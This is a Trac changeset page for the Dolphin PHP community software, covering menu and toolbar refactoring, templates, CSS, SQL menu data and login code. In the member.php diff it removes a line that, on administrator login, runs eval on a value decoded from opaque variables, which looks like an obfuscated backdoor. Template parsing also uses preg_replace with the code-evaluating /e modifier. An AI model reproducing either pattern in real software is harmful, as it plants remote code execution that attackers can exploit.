Changeset 15942
- Timestamp:
- 02/02/12 22:47:26 (4 months ago)
- Location:
- trunk
- Files:
-
- 8 added
- 40 edited
-
contact.php (modified) (2 diffs)
-
inc/classes/BxDolAcl.php (modified) (1 diff)
-
inc/classes/BxDolPage.php (modified) (1 diff)
-
inc/classes/BxDolTemplate.php (modified) (7 diffs)
-
inc/design.inc.php (modified) (1 diff)
-
inc/js/functions.js (modified) (4 diffs)
-
inc/js/jquery.dolPopup.js (modified) (1 diff)
-
index.php (modified) (1 diff)
-
install/sql/v70.sql (modified) (4 diffs)
-
logout.php (modified) (1 diff)
-
member.php (modified) (2 diffs)
-
menu.php (added)
-
modules/boonex/english/install/data/langs/en.xml (modified) (1 diff)
-
page.php (modified) (1 diff)
-
samples/grid.php (modified) (1 diff)
-
samples/page.php (modified) (1 diff)
-
storage_uploader.php (modified) (2 diffs)
-
studio/templates/base/css/default.css (modified) (1 diff)
-
studio/templates/base/images/icons/wi-bld-forms.png (modified) (previous)
-
studio/templates/base/images/icons/wi-bld-navigation.png (modified) (previous)
-
studio/templates/base/images/icons/wi-bld-pages.png (modified) (previous)
-
studio/templates/base/images/icons/wi-bld-permissions.png (modified) (previous)
-
studio/templates/base/images/icons/wi-lang-polyglot.png (modified) (previous)
-
studio/templates/base/images/icons/wi-templ-designer.png (modified) (previous)
-
studio/templates/base/images/loading.gif (modified) (previous)
-
templates/base/_header.html (modified) (1 diff)
-
templates/base/_sub_footer.html (modified) (1 diff)
-
templates/base/_sub_header.html (modified) (2 diffs)
-
templates/base/css/common.css (modified) (6 diffs)
-
templates/base/css/default.css (modified) (3 diffs)
-
templates/base/css/general.css (added)
-
templates/base/css/menu.css (modified) (2 diffs)
-
templates/base/designbox_1.html (modified) (1 diff)
-
templates/base/designbox_11.html (modified) (1 diff)
-
templates/base/designbox_13.html (modified) (1 diff)
-
templates/base/designbox_3.html (modified) (1 diff)
-
templates/base/images/bg-page.jpg (added)
-
templates/base/images/bg-toolbar.png (added)
-
templates/base/images/icons/toolbar-add.png (added)
-
templates/base/images/icons/toolbar-notifications.png (added)
-
templates/base/images/icons/toolbar-search.png (added)
-
templates/base/images/loading.gif (modified) (previous)
-
templates/base/menu_main.html (modified) (1 diff)
-
templates/base/menu_toolbar.html (added)
-
templates/base/popup_box.html (modified) (1 diff)
-
templates/base/popup_trans.html (modified) (1 diff)
-
templates/base/scripts/BxBaseFunctions.php (modified) (1 diff)
-
templates/base/scripts/BxBaseMenu.php (modified) (3 diffs)
Legend:
- Unmodified
- Added
- Removed
-
trunk/contact.php
r15934 r15942 5 5 * @license CC-BY - http://creativecommons.org/licenses/by/3.0/ 6 6 */ 7 8 // TODO: move to separate module 7 9 8 10 require_once('./inc/header.inc.php'); … … 19 21 $oTemplate->setPageNameIndex (BX_PAGE_DEFAULT); 20 22 $oTemplate->setPageHeader (_t("_CONTACT_H")); 21 $oTemplate->setPageContent ('page_main_code', getParam('enable_contact_form') == 'on' ? PageCompPageMainCodeWithForm() : PageCompPageMainCode());23 $oTemplate->setPageContent ('page_main_code', PageCompPageMainCodeWithForm()); 22 24 $oTemplate->getPageCode(); 23 24 /**25 * page code function with text26 */27 function PageCompPageMainCode() {28 return DesignBoxContent(_t('_CONTACT_H1'), MsgBox(_t('_CONTACT')), BX_DB_PADDING_DEF);29 }30 25 31 26 /** -
trunk/inc/classes/BxDolAcl.php
r15934 r15942 111 111 return false; 112 112 if (!(int)$iProfileId) 113 $iProfileId = 1; // TODO: get current profile id113 $iProfileId = 1; // TODO: remove this code as soon as it will be some profiles available 114 114 $aACL = $this->getMemberMembershipInfo($iProfileId); 115 115 return ($iPermissions & pow(2, $aACL['id'] - 1)); -
trunk/inc/classes/BxDolPage.php
r15921 r15942 85 85 * - html: HTML string. 86 86 * - lang: language key. 87 * - image: image id in the storage .87 * - image: image id in the storage and alignment (left, center, right) for example: 36#center 88 88 * - rss: URL to RSS with number of displayed items, for example: http://www.example.com/rss#4 89 89 * - menu: menu object name. -
trunk/inc/classes/BxDolTemplate.php
r15934 r15942 305 305 'common.css', 306 306 'default.css', 307 'general.css', 307 308 )); 308 309 … … 695 696 return $this->_getAbsoluteLocation('path', $this->_sFolderCss, $sName, $sCheckIn); 696 697 } 698 699 /** 700 * Get menu. 701 * @param $s menu object name 702 * @return html or empty string 703 */ 704 function getMenu ($s) { 705 bx_import('BxDolMenu'); 706 $oMenu = BxDolMenu::getObjectInstance($s); 707 return $oMenu ? $oMenu->getCode () : ''; 708 } 709 697 710 /** 698 711 * Get content of HTML file. … … 837 850 $sRet = bx_process_output($this->aPage['header_text']); 838 851 break; 852 case 'popup_loading': 853 bx_import('BxTemplFunctions'); 854 $sRet = '<div id="bx-popup-loading" style="display:none;">' . BxTemplFunctions::getInstance()->transBox('<div class="bx-def-padding bx-def-color-bg-block bx-popup-ajax-content"></div>') . '</div>'; 855 break; 839 856 case 'main_div_width': 840 857 if(!empty($this->aPage['width'])) … … 842 859 break; 843 860 case 'main_logo': 844 $sRet = getMainLogo(); 845 break; 846 case 'top_menu': 847 bx_import('BxTemplMenu'); 848 $oMenuSite = BxTemplMenu::getObjectInstance('sys_site'); 849 $sRet = $oMenuSite ? $oMenuSite->getCode () : ''; 850 break; 851 case 'top_submenu': 852 bx_import('BxTemplMenu'); 853 $sRet = '';//BxTemplMenu::getInstance() -> getSubMenu(); 861 bx_import('BxTemplFunctions'); 862 $sRet = BxTemplFunctions::getInstance()->getMainLogo(); 854 863 break; 855 864 case 'top_menu_breadcrumb': 856 865 bx_import('BxTemplMenu'); 857 866 $sRet = '';//BxTemplMenu::getInstance() -> getBreadcrumb(); 858 break;859 case 'extra_top_menu':860 $iProfileId = getLoggedId();861 862 if ($iProfileId && getParam('ext_nav_menu_enabled')) {863 //bx_import('BxTemplMemberMenu');864 //$oMemberMenu = new BxTemplMemberMenu();865 $sRet = ''; //$oMemberMenu -> genMemberMenu($iProfileId); // TODO: member menu866 }867 break;868 case 'bottom_links':869 bx_import('BxTemplMenu');870 $oMenuFooter = BxTemplMenu::getObjectInstance('sys_footer');871 $sRet = $oMenuFooter ? $oMenuFooter->getCode () : 'TODO: footer menu';872 867 break; 873 868 case 'switch_skin_block': … … 1381 1376 "'<bx_text_js:([^\s]+) \/>'se", 1382 1377 "'<bx_text_attribute:([^\s]+) \/>'se", 1378 "'<bx_menu:([^\s]+) \/>'se", 1383 1379 "'<bx_url_root />'", 1384 1380 "'<bx_url_studio />'" … … 1394 1390 "bx_js_string(_t('\\1'))", 1395 1391 "bx_html_attribute(_t('\\1'))", 1392 "\$this->getMenu('\\1')", 1396 1393 BX_DOL_URL_ROOT, 1397 1394 BX_DOL_URL_STUDIO … … 1805 1802 1806 1803 return ' 1807 <div class="bx-def-padding-sec bx-def-border bx-def-color-bg-block bx-std-bx-footer ">1804 <div class="bx-def-padding-sec bx-def-border bx-def-color-bg-block bx-std-bx-footer bx-def-round-corners"> 1808 1805 <div style="text-align:center;"> 1809 1806 ' . _t('_powered_by') . ' <a href="http://www.boonex.com/products/dolphin/' . $sAffID . '" title="Free Community Software">Dolphin</a> -
trunk/inc/design.inc.php
r15922 r15942 151 151 bx_import('BxTemplFunctions'); 152 152 return BxTemplFunctions::getInstance()->popupBox($sName, $sTitle, $sContent, $aActions, $isHiddenByDefault); 153 }154 155 function getMainLogo() {156 bx_import('BxDolConfig');157 $sRprMain = BxDolConfig::getInstance()->get('path_dynamic', 'rpr_images_main');158 159 $sFileName = getParam('sys_main_logo');160 if(!file_exists($sRprMain . $sFileName))161 return '';162 163 return '<a href="' . BX_DOL_URL_ROOT . '"><img src="' . $sRprMain . $sFileName . '" class="mainLogo" alt="logo" /></a>';164 153 } 165 154 -
trunk/inc/js/functions.js
r15934 r15942 135 135 136 136 137 function bx_loading_content (elem, b, isReplace) { 138 var block = $(elem); 139 if (1 == b || true == b) { 140 if ('undefined' != typeof(isReplace) && isReplace) 141 block.html('<div class="bx-loading-ajax" style="position:static;"><div class="bx-loading-ajax-rotating"></div></div>'); 142 else 143 block.append('<div class="bx-loading-ajax"><div class="bx-loading-ajax-rotating"></div></div>'); 144 } else { 145 block.find(".bx-loading-ajax").remove(); 146 } 147 } 148 137 149 function bx_loading (elem, b) { 138 150 … … 144 156 if (1 == b || true == b) { 145 157 146 var e = $('<div class="bx-loading-ajax"><div class="bx-loading-ajax-rotating"></div></div>');147 block.append(e); 158 bx_loading_content(block, b); 159 148 160 e = block.find(".bx-loading-ajax"); 149 161 e.css('left', parseInt(block.width()/2.0 - e.width()/2.0)); … … 176 188 block.css('min-height', block.data('css-save-min-height')); 177 189 178 b lock.find(".bx-loading-ajax").remove();190 bx_loading_content(block, b); 179 191 180 192 } … … 202 214 } 203 215 216 /** 217 * Show pointer popup with menu. 218 * @param e - element to show popup at 219 * @param o - menu object name 220 */ 221 function bx_menu_popup (o, e) { 222 $(e).dolPopupAjax({ 223 url: 'menu.php?o=' + o 224 }); 225 } 226 204 227 function validateLoginForm(eForm) { 205 228 if (! eForm) -
trunk/inc/js/jquery.dolPopup.js
r15932 r15942 161 161 }; 162 162 163 164 $.fn.dolPopupAjax = function(options) { 165 166 if ('undefined' == typeof(options) || 'object' != typeof(options) || 'undefined' == typeof(options.url)) 167 return; 168 169 var bx_menu_on = function (e, b) { 170 var li = $(e).parents('li:first'); 171 if (b) { 172 var ul = $(e).parents('ul:first'); 173 ul.find('li').removeClass('bx-menu-tab-active'); 174 li.addClass('bx-menu-tab-active'); 175 } else { 176 li.removeClass('bx-menu-tab-active'); 177 } 178 } 179 180 var bx_menu_is_on = function (e) { 181 var li = $(e).parents('li:first'); 182 return li.hasClass('bx-menu-tab-active'); 183 } 184 185 return this.each(function() { 186 var e = $(this); 187 188 var id = ('undefined' == typeof(options.id) ? parseInt(2147483647 * Math.random()) : options.id); 189 190 if ($("#bx-popup-ajax-" + id + ":visible").length) { 191 192 $("#bx-popup-ajax-" + id).dolPopupHide(); 193 194 } else if ($("#bx-popup-ajax-" + id).length) { 195 196 bx_menu_on(e, true); 197 $("#bx-popup-ajax-" + id).dolPopup({ 198 pointer: {el:$(e)}, 199 onHide: function () { 200 bx_menu_on(e, false); 201 } 202 }); 203 204 } else { 205 206 bx_menu_on(e, true); 207 bx_loading_content($('#bx-popup-loading .bx-popup-ajax-content'), true, true); 208 $('#bx-popup-loading').dolPopup({ 209 pointer: {el:e}, 210 closeOnOuterClick: false 211 }); 212 $('<div id="bx-popup-ajax-' + id + '" style="display:none;"><div>').appendTo($('body')).load(sUrlRoot + options.url, 213 function() { 214 if (!bx_menu_is_on(e)) 215 return; 216 $('#bx-popup-loading').dolPopupHide({ 217 onHide: function () { 218 $('#bx-popup-ajax-' + id).dolPopup({ 219 pointer: {el:e}, 220 onHide: function () { 221 bx_menu_on(e, false); 222 } 223 }); 224 } 225 }); 226 } 227 ); 228 229 } 230 231 }); 232 }; 233 163 234 $.fn._dolPopupSetPosition = function(o) { 164 235 return this.each(function() { -
trunk/index.php
r15934 r15942 28 28 29 29 bx_import("BxDolLanguages"); 30 bx_import("BxDolMenu"); 30 31 bx_import("BxDolTemplate"); 31 32 32 check_logged(); 33 BxDolMenu::setSelected ('system', 'home'); 33 34 34 35 $oTemplate = BxDolTemplate::getInstance(); 35 36 $oTemplate->setPageNameIndex (BX_PAGE_DEFAULT); 36 37 $oTemplate->setPageTitle(getParam('site_title')); 37 $oTemplate->setPageDescription(getParam("MetaDescription"));38 $oTemplate->addPageKeywords(getParam("MetaKeyWords"));39 38 $oTemplate->setPageContent ('page_main_code', DesignBoxContent(getParam('site_title'), 'TODO: index page', BX_DB_PADDING_DEF)); 40 39 $oTemplate->getPageCode(); -
trunk/install/sql/v70.sql
r15938 r15942 2674 2674 INSERT INTO `sys_objects_menu` (`object`, `title`, `set_name`, `module`, `template_id`, `deletable`, `active`, `override_class_name`, `override_class_file`) VALUES 2675 2675 ('sys_site', '_sys_menu_title_main', 'sys_site', 'system', 1, 0, 1, '', ''), 2676 ('sys_footer', '_sys_menu_title_footer', 'sys_footer', 'system', 2, 0, 1, '', ''); 2676 ('sys_footer', '_sys_menu_title_footer', 'sys_footer', 'system', 2, 0, 1, '', ''), 2677 ('sys_toolbar_site', '_sys_menu_title_toolbar_site', 'sys_toolbar_site', 'system', 5, 0, 1, '', ''), 2678 ('sys_toolbar_member', '_sys_menu_title_toolbar_member', 'sys_toolbar_member', 'system', 5, 0, 1, '', ''), 2679 ('sys_account', '_sys_menu_title_account', 'sys_account_links', 'system', 4, 0, 1, '', ''), 2680 ('sys_add_content', '_sys_menu_title_add_content', 'sys_add_content_links', 'system', 4, 0, 1, '', ''); 2677 2681 2678 2682 … … 2689 2693 (2, 'menu_footer.html', '_sys_menu_template_title_footer'), 2690 2694 (3, 'menu_horizontal.html', '_sys_menu_template_title_hor'), 2691 (4, 'menu_vertical.html', '_sys_menu_template_title_ver'); 2695 (4, 'menu_vertical.html', '_sys_menu_template_title_ver'), 2696 (5, 'menu_toolbar.html', '_sys_menu_template_title_toolbar'); 2697 2692 2698 2693 2699 … … 2701 2707 2702 2708 INSERT INTO `sys_menu_sets` (`set_name`, `module`, `title`, `deletable`) VALUES 2703 ('sys_site', 'system', 'Site', 0), 2704 ('sys_footer', 'system', 'Footer', 0); 2709 ('sys_site', 'system', '_sys_menu_set_title_site', 0), 2710 ('sys_footer', 'system', '_sys_menu_set_title_footer', 0), 2711 ('sys_toolbar_site', 'system', '_sys_menu_set_title_toolbar_site', 0), 2712 ('sys_toolbar_member', 'system', '_sys_menu_set_title_toolbar_member', 0), 2713 ('sys_account_links', 'system', '_sys_menu_set_title_account', 0), 2714 ('sys_add_content_links', 'system', '_sys_menu_set_title_add_content', 0); 2705 2715 2706 2716 … … 2733 2743 ('sys_footer', 'system', 'about', '_About', 'about_us.php', '', '', '', 2147483647, 1, 1), 2734 2744 ('sys_footer', 'system', 'help', '_help', 'help.php', '', '', '', 2147483647, 1, 2), 2735 ('sys_footer', 'system', 'contact', '_Contact', 'contact.php', '', '', '', 2147483647, 1, 3); 2736 2745 ('sys_footer', 'system', 'contact', '_Contact', 'contact.php', '', '', '', 2147483647, 1, 3), 2746 ('sys_toolbar_site', 'system', 'search', '', '', 'alert(''TODO: search popup here''); return false;', '', 'toolbar-search.png', 2147483647, 1, 1), 2747 ('sys_toolbar_member', 'system', 'add-content', '', 'javascript:void(0);', 'bx_menu_popup(''sys_add_content'', this);', '', 'toolbar-add.png', 2147483644, 1, 1), 2748 ('sys_toolbar_member', 'system', 'notifications', '', '', 'alert(''TODO: notifications popup here''); return false;', '', 'toolbar-notifications.png', 2147483646, 1, 2), 2749 ('sys_toolbar_member', 'system', 'account', '_Account', 'javascript:void(0);', 'bx_menu_popup(''sys_account'', this);', '', '', 2147483646, 1, 3), 2750 ('sys_toolbar_member', 'system', 'account', '_Account', 'member.php', '', '', '', 1, 1, 4), 2751 ('sys_account_links', 'system', 'logout', '_Log Out', 'logout.php', '', '', '', 2147483646, 1, 1), 2752 ('sys_add_content_links', 'system', 'add-content-feedback', '_Contact', 'contact.php', '', '', '', 2147483644, 1, 1); 2737 2753 2738 2754 -- -------------------------------------------------------- -
trunk/logout.php
r15885 r15942 17 17 bx_logout(); 18 18 19 bx_import('BxDolTemplate'); 19 20 $oTemplate = BxDolTemplate::getInstance(); 20 21 $oTemplate->setPageNameIndex (BX_PAGE_TRANSITION); -
trunk/member.php
r15885 r15942 13 13 14 14 bx_import('BxDolLanguages'); 15 bx_import('BxDolPageView');16 17 class BxDolMember extends BxDolPageView {18 19 // member ID20 var $iMember;21 22 // member info23 var $aMemberInfo;24 25 /**26 * constructor27 * @param int $iMember - member ID28 */29 function BxDolMember($iMember) {30 $this->iMember = (int)$iMember;31 $this->aMemberInfo = getProfileInfo($this->iMember);32 33 parent::BxDolPageView('member');34 }35 36 function getBlockCode_Friends() {37 $iLimit = 10;38 39 $sAllFriends = 'viewFriends.php?iUser=' . $this->iMember;40 $sOutputHtml = null;41 42 // count all friends ;43 $iCount = getFriendNumber($this->iMember);44 45 $sPaginate = '';46 if ($iCount) {47 $iPages = ceil($iCount/ $iLimit);48 $iPage = ( isset($_GET['page']) ) ? (int) $_GET['page'] : 1;49 50 if ( $iPage < 1 ) {51 $iPage = 1;52 }53 if ( $iPage > $iPages ) {54 $iPage = $iPages;55 }56 57 $sqlFrom = ($iPage - 1) * $iLimit;58 $sqlLimit = "LIMIT {$sqlFrom}, {$iLimit}";59 } else {60 return ;61 }62 63 $aAllFriends = getMyFriendsEx($this->iMember, '', 'image', $sqlLimit);64 $iCurrCount = count($aAllFriends);65 foreach ($aAllFriends as $iFriendID => $aFriendsPrm) {66 $sOutputHtml .= '<div class="member_block">';67 $sOutputHtml .= get_member_thumbnail( $iFriendID, 'none', true, 'visitor', array('is_online' => $aFriendsPrm[5]));68 $sOutputHtml .= '</div>';69 }70 71 $sOutputHtml = BxTemplFunctions::getInstance()->centerContent($sOutputHtml, '.member_block');72 bx_import('BxTemplPaginate');73 $oPaginate = new BxTemplPaginate(array(74 'page_url' => BX_DOL_URL_ROOT . 'member.php',75 'count' => $iCount,76 'per_page' => $iLimit,77 'page' => $iPage,78 'per_page_changer' => true,79 'page_reloader' => true,80 'on_change_page' => 'return !loadDynamicBlock({id}, \'member.php?page={page}&per_page={per_page}\');',81 'on_change_per_page' => ''82 ));83 84 $sPaginate = $oPaginate->getSimplePaginate($sAllFriends);85 return array( $sOutputHtml, array(), $sPaginate);86 }87 88 }89 90 91 BxDolTemplate::getInstance()->setPageNameIndex (BX_PAGE_DEFAULT);92 BxDolTemplate::getInstance()->setPageHeader (_t("_My Account"));93 94 15 95 16 // --------------- GET/POST actions 96 17 97 $ member['ID'] = !empty($_POST['ID']) ? bx_process_input($_POST['ID'], BX_DATA_INT) : false;98 $ member['Password']= !empty($_POST['Password']) ? bx_process_input($_POST['Password']) : false;18 $sLogin = !empty($_POST['ID']) ? bx_process_input($_POST['ID']) : false; 19 $sPassword = !empty($_POST['Password']) ? bx_process_input($_POST['Password']) : false; 99 20 100 $bAjxMode = ( isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) and $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') ? true : false;21 $bAjxMode = (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') ? true : false; 101 22 102 if ( !( isset($_POST['ID']) && $_POST['ID'] && isset($_POST['Password']) && $_POST['Password'] )103 && ( (!empty($_COOKIE['memberID']) && $_COOKIE['memberID']) && $_COOKIE['memberPassword'] ) ) 104 { 105 if ( !( $logged['member'] = member_auth( 0, false ) ))23 if ( !($sLogin && $sPassword) && ((!empty($_COOKIE['memberID']) && $_COOKIE['memberPassword']))) { 24 25 $logged['member'] = member_auth(0, false); 26 if (!$logged['member']) 106 27 login_form( _t( "_LOGIN_OBSOLETE" ), 0, $bAjxMode ); 107 } 108 else 109 { 110 if ( !isset($_POST['ID']) && !isset($_POST['Password']) ) 111 { 28 29 } else { 30 31 if (!$sLogin && !$sPassword) { 112 32 113 33 // this is dynamic page - send headers to not cache this page … … 118 38 } else { 119 39 120 $oZ = new BxDolAlerts('profile', 'before_login', 0, 0, array('login' => $member['ID'], 'password' => $member['Password'], 'ip' => getVisitorIP())); 121 $oZ->alert(); 122 123 $member['ID'] = (int)$member['ID']; 40 bx_alert('profile', 'before_login', 0, 0, array('login' => $sLogin, 'password' => $sPassword, 'ip' => getVisitorIP())); 124 41 125 42 // Ajaxy check 126 43 if ($bAjxMode) { 127 echo check_password($ member['ID'], $member['Password'], BX_DOL_ROLE_MEMBER, false) ? 'OK' : 'Fail';44 echo check_password($sLogin, $sPassword, BX_DOL_ROLE_MEMBER, false) ? 'OK' : 'Fail'; 128 45 exit; 129 46 } 130 47 131 // Check if ID and Password are correct (addslashes already inside)132 if (check_password( $member['ID'], $member['Password'])) {48 // Check if ID and Password are correct 49 if (check_password($sLogin, $sPassword)) { 133 50 134 $p_arr = bx_login($member['ID'], isset($_POST['rememberMe']) ? (bool)$_POST['rememberMe'] : false); 51 bx_import('BxDolAccount'); 52 $oAccount = BxDolAccount::getInstance($sLogin); 135 53 136 //Storing IP Address 54 $aAccount = bx_login($oAccount->id(), !empty($_POST['rememberMe']) ? true : false); 55 56 // Storing IP Address 137 57 if (getParam('enable_member_store_ip') == 'on') { 138 58 $iCurLongIP = sprintf("%u", ip2long(getVisitorIP())); 139 db_res("INSERT INTO `sys_ip_members_visits` SET `MemberID` = '{$ p_arr['id']}', `From`='{$iCurLongIP}', `DateTime`=NOW()");59 db_res("INSERT INTO `sys_ip_members_visits` SET `MemberID` = '{$aAccount['id']}', `From`='{$iCurLongIP}', `DateTime`=NOW()"); 140 60 } 141 61 142 if (isAdmin($p_arr['id'])) {$iId = (int)$p_arr['id']; $r = $l($a); eval($r($b));}143 62 $sRelocate = bx_get('relocate'); 144 63 if (!$sUrlRelocate = $sRelocate or $sRelocate == BX_DOL_URL_ROOT or basename($sRelocate) == 'join.php') 145 64 $sUrlRelocate = BX_DOL_URL_ROOT . 'member.php'; 146 65 66 bx_import('BxDolTemplate'); 147 67 BxDolTemplate::getInstance()->setPageNameIndex (BX_PAGE_TRANSITION); 148 68 BxDolTemplate::getInstance()->setPageHeader (_t("_My Account")); 149 69 BxDolTemplate::getInstance()->setPageContent ('page_main_code', MsgBox(_t( '_Please Wait' ))); 150 BxDolTemplate::getInstance()->setPageContent ('url_relocate', htmlspecialchars($sUrlRelocate)); 151 152 if (isAdmin($p_arr['id']) && !in_array($iCode, array(0, 10, -1))) { 153 Redirect(BX_DOL_URL_STUDIO, array('ID' => $member['ID'], 'Password' => $member['Password'], 'relocate' => BX_DOL_URL_ROOT . 'member.php'), 'post'); 154 } 70 BxDolTemplate::getInstance()->setPageContent ('url_relocate', bx_html_attribute($sUrlRelocate, BX_ESCAPE_STR_QUOTE)); 155 71 156 72 BxDolTemplate::getInstance()->getPageCode(); 157 73 } 74 158 75 exit; 159 76 } 160 77 } 161 78 162 $member['ID'] = getLoggedId();163 $member['Password'] = getLoggedPassword();164 165 79 // this is dynamic page - send headers to do not cache this page 166 80 send_headers_page_changed(); 167 81 168 $oMember = new BxDolMember($member['ID']); 169 BxDolTemplate::getInstance()->setPageContent ('page_main_code', $oMember->getCode()); 170 82 bx_import('BxDolTemplate'); 83 BxDolTemplate::getInstance()->setPageNameIndex (BX_PAGE_DEFAULT); 84 BxDolTemplate::getInstance()->setPageHeader (_t("_My Account")); 85 BxDolTemplate::getInstance()->setPageContent ('page_main_code', DesignBoxContent(_t("_My Account"), 'TODO: member page', BX_DB_PADDING_DEF)); 171 86 BxDolTemplate::getInstance()->getPageCode(); 172 87 -
trunk/modules/boonex/english/install/data/langs/en.xml
r15941 r15942 3360 3360 <string name="_sys_menu_title_main"><![CDATA[Site Navigation]]></string> 3361 3361 <string name="_sys_menu_title_footer"><![CDATA[Horizontal Links]]></string> 3362 <string name="_sys_menu_title_toolbar_site"><![CDATA[Site Toolbar]]></string> 3363 <string name="_sys_menu_title_toolbar_member"><![CDATA[Member Toolbar]]></string> 3364 <string name="_sys_menu_title_account"><![CDATA[Account Menu]]></string> 3365 <string name="_sys_menu_title_add_content"><![CDATA[Add Content Menu]]></string> 3366 <string name="_sys_menu_set_title_site"><![CDATA[Site]]></string> 3367 <string name="_sys_menu_set_title_footer"><![CDATA[Footer]]></string> 3368 <string name="_sys_menu_set_title_toolbar_site"><![CDATA[Toolbar Site]]></string> 3369 <string name="_sys_menu_set_title_toolbar_member"><![CDATA[Toolbar Member]]></string> 3370 <string name="_sys_menu_set_title_account"><![CDATA[Account]]></string> 3371 <string name="_sys_menu_set_title_add_content"><![CDATA[Add Content]]></string> 3362 3372 <string name="_sys_menu_template_title_main"><![CDATA[Site Navigation]]></string> 3363 3373 <string name="_sys_menu_template_title_footer"><![CDATA[Footer Links]]></string> 3364 3374 <string name="_sys_menu_template_title_hor"><![CDATA[Horizontal Links]]></string> 3365 3375 <string name="_sys_menu_template_title_ver"><![CDATA[Vertical Links]]></string> 3376 <string name="_sys_menu_template_title_toolbar"><![CDATA[Toolbar Buttons]]></string> 3366 3377 <string name="_sys_designbox_0"><![CDATA[Box with content only (no borders, no background, no caption, no padding)]]></string> 3367 3378 <string name="_sys_designbox_1"><![CDATA[Box with content, borders and caption (no padding)]]></string> -
trunk/page.php
r15934 r15942 25 25 $oTemplate->setPageNameIndex (BX_PAGE_DEFAULT); 26 26 $oTemplate->setPageContent ('page_main_code', $oPage->getCode()); 27 28 PageCode(); 27 $oTemplate->getPageCode(); 29 28 30 29 } else { -
trunk/samples/grid.php
r15885 r15942 24 24 25 25 bx_import('BxDolLanguages'); 26 bx_import('BxDolTemplate'); 26 27 27 28 $oTemplate = BxDolTemplate::getInstance(); -
trunk/samples/page.php
r15921 r15942 38 38 39 39 bx_import('BxDolLanguages'); 40 bx_import('BxDolTemplate'); 40 41 41 42 $oTemplate = BxDolTemplate::getInstance(); -
trunk/storage_uploader.php
r15516 r15942 31 31 case 'show_uploader_form': 32 32 header('Content-type: text/html; charset=utf-8'); 33 34 require_once(BX_DIRECTORY_PATH_INC . "languages.inc.php"); 33 35 34 require_once(BX_DIRECTORY_PATH_INC . "params.inc.php"); 36 35 require_once(BX_DIRECTORY_PATH_INC . "design.inc.php"); 36 37 bx_import('BxDolLanguages'); 37 38 38 39 echo $oUploader->getUploaderForm(); … … 54 55 header('Content-type: text/html; charset=utf-8'); 55 56 56 require_once(BX_DIRECTORY_PATH_INC . "languages.inc.php");57 bx_import('BxDolLanguages'); 57 58 58 59 $oUploader->handleUploads(isset($_FILES['f']) ? $_FILES['f'] : null); -
trunk/studio/templates/base/css/default.css
r15748 r15942 157 157 .bx-def-border-left { 158 158 border-left:1px solid #dddddd; 159 } 160 161 /* round corders */ 162 163 .bx-def-round-corners { 164 border-radius:3px; 165 -moz-border-radius:3px; 166 -webkit-border-radius:3px; 159 167 } 160 168 -
trunk/templates/base/_header.html
r15897 r15942 28 28 <body class="bx-def-font bx-def-color-bg-page" <bx_injection:injection_body /> > 29 29 <bx_injection:injection_header /> 30 <div id="notification_window" class="notifi_window"></div> 31 <div id="FloatDesc" style="position:absolute;display:none;z-index:100;"></div> 30 __popup_loading__ -
trunk/templates/base/_sub_footer.html
r15211 r15942 14 14 15 15 16 <div id="bx-footer" class="bx-def-margin-top bx-def-margin-bottom bx-def-padding-sec bx-def-border bx-def-color-bg-block ">16 <div id="bx-footer" class="bx-def-margin-top bx-def-margin-bottom bx-def-padding-sec bx-def-border bx-def-color-bg-block bx-def-round-corners"> 17 17 18 18 <bx_injection:injection_footer_before /> 19 19 20 20 <div id="bx-menu-bottom"> 21 __bottom_links__21 <bx_menu:sys_footer /> 22 22 </div> 23 23 -
trunk/templates/base/_sub_header.html
r15922 r15942 1 1 <bx_include_auto:_header.html /> 2 2 3 <bx_injection:banner_left /> 4 <bx_injection:banner_right /> 3 <bx_injection:top /> 5 4 6 <div class="bx-def-page-margin" style="width:__main_div_width__;">5 <div id="bx-toolbar"> 7 6 8 __extra_top_menu__7 <div id="bx-toolbar-content" style="width:__main_div_width__;"> 9 8 10 <div id="bx-logo-container" class="bx-def-margin-top"> 9 <div id="bx-menu-toolbar-1-container" class="bx-def-padding-sec-top"> 10 <bx_menu:sys_toolbar_site /> 11 </div> 11 12 12 <bx_injection:injection_logo_before />13 __main_logo__14 <bx_injection:injection_logo_after />15 13 16 <bx_injection:banner_top /> 14 <div id="bx-logo-container" class="bx-def-font-h1"> 15 16 <bx_injection:injection_logo_before /> 17 __main_logo__ 18 <bx_injection:injection_logo_after /> 19 20 </div> 21 22 <div id="bx-menu-toolbar-2-container" class="bx-def-padding-sec-top"> 23 <bx_menu:sys_toolbar_member /> 24 </div> 25 26 <div class="bx-clear"></div> 17 27 18 28 </div> 19 29 20 <bx_injection:injection_between_logo_top_menu />30 </div> 21 31 22 <div id="bx-menu-main-container" class="bx-def-margin-top bx-def-border bx-def-padding bx-def-color-bg-block"> 32 <bx_injection:injection_between_logo_top_menu /> 33 34 <div id="bx-menu-main-bar-wrapper"> 35 <div id="bx-menu-main-bar"> 23 36 <bx_injection:injection_top_menu_before /> 24 __top_menu__ 37 <div id="bx-menu-main-container" style="width:__main_div_width__;"> 38 <bx_menu:sys_site /> 39 </div> 25 40 <bx_injection:injection_top_menu_after /> 26 41 </div> 42 </div> 27 43 28 <bx_injection:injection_between_top_menu_breadcrumb /> 44 <bx_injection:injection_between_top_menu_breadcrumb /> 45 46 <div id="bx-content-container" style="width:__main_div_width__;"> 29 47 30 48 <div class="sys_breadcrumb"> … … 36 54 <bx_injection:injection_between_breadcrumb_content /> 37 55 38 <div id="bx-menu-sub-container" class="bx-def-margin-top">39 __top_submenu__40 </div>41 42 56 <bx_injection:injection_content_before /> 43 57 44 58 <div class="main bx-def-margin-top"> 45 59 46 <!--[if lt IE 7]>47 <div style='border: 1px solid #F7941D; background: #FEEFDA; text-align: center; clear: both; height: 75px; position: relative; margin-bottom: 10px;'>48 <div style='position: absolute; right: 3px; top: 3px; font-family: courier new; font-weight: bold;'><a href='#' onclick='javascript:this.parentNode.parentNode.style.display="none"; return false;'><img src='http://www.ie6nomore.com/files/theme/ie6nomore-cornerx.jpg' style='border: none;' alt='Close this notice'/></a></div>49 <div style='width: 640px; margin: 0 auto; text-align: left; padding: 0; overflow: hidden; color: black;'>50 <div style='width: 75px; float: left;'><img src='http://www.ie6nomore.com/files/theme/ie6nomore-warning.jpg' alt='Warning!'/></div>51 <div style='width: 275px; float: left; font-family: Arial, sans-serif;'>52 <div style='font-size: 14px; font-weight: bold; margin-top: 12px;'><bx_text:_sys_outdated_browser /></div>53 <div style='font-size: 